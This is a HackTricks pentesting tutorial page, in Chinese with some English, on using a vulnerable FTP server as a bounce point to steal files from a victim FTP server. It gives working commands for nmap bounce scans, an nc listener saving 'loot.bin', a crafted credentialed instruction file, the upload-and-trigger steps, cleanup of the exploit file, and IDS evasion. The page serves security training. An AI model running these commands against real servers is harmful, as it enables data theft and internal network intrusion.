FTP Bounce Download 2 of FTP File

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

如果你能够访问到一个 bounce FTP server,你可以让它向 another FTP server(你对其拥有某些凭证)请求文件,并将该文件下载到 your own server

要求

  • FTP Middle server 上拥有有效的 FTP 凭证
  • Victim FTP server 上拥有有效的 FTP 凭证
  • 两台服务器都接受 PORT 命令(bounce FTP attack)
  • 你可以在 FTP Middle server 的某个目录中写入
  • 中间服务器在 Victim FTP Server 中拥有比你更多的访问权限

步骤

  1. 连接到 your own FTP server,并将连接设置为被动模式(使用 pasv 命令),使其在某个目录中监听,以便目标服务将文件发送到该目录。
  2. 制作将由 FTP Middle server 发送到 Victim server 的文件(即 exploit script)。该文件应为纯文本,包含用于向 Victim server 认证、更改目录并将文件下载到 your own server 的所需命令。
  3. 连接到 FTP Middle Server 并上传上一步制作的文件。
  4. 让 FTP Middle server 与 Victim server 建立连接 并发送 exploit 文件。
  5. your own FTP server捕获该文件。
  6. 从 FTP Middle server 上删除该 exploit 文件。

快速检查易受攻击的 bounce hosts

  • Nmap 仍然支持 FTP bounce 检测。示例用于验证潜在的中间服务器:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

如果服务器拒绝第三方 PORT 值,扫描将失败;一些 embedded/legacy printers, NAS and appliance FTP daemons 仍然允许此操作。

自动化第二次 FTP 下载

下面是一种通过易受攻击的中间 FTP 服务器拉取文件的现代化方法。

  1. 在你的攻击主机上打开一个被动监听(任何 TCP sink 都可):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. 记录你的 IP 为 A,B,C,D,端口 P 表示为 p1,p2p1 = P/256p2 = P%256)。

  2. 构造将由中间服务器回放给受害者的指令文件

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. 从中间服务器上传并触发(经典 proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. 从你的监听器获取文件loot.bin)。
  2. 在中间服务器上清理 上传的 instrs 文件。

备注:

  • 填充(dd ...)可防止在 RETR 完成之前控制连接关闭(经典写作中讨论的大 TCP 窗口问题)。
  • 任何能 监听并转储 TCP 的服务都可以替代 FTP PASV 套接字(例如,socat -u TCP-LISTEN:2121,fork - > loot.bin)。
  • 如果中间服务器限制特权端口,请在 PORT 中使用高端口并相应调整你的监听器。

额外技巧

  • 当文件中继被阻止时,使用可进行 FTP bounce 的服务器对内部主机进行 端口扫描
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • 一些现代 WAF/IDS(例如 Juniper IPS)附带针对 FTP:EXPLOIT:BOUNCE-ATTACK 的签名;噪声较大的负载或缺少填充可能触发它们。
  • 当中间服务器强制执行 “PORT to same host” 限制时,将你的监听器部署在中间服务器本身(如果你有写/执行权限),然后稍后转发捕获的文件。

更多老派的详细 walkthrough 请查看: http://www.ouah.org/ftpbounce.html

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks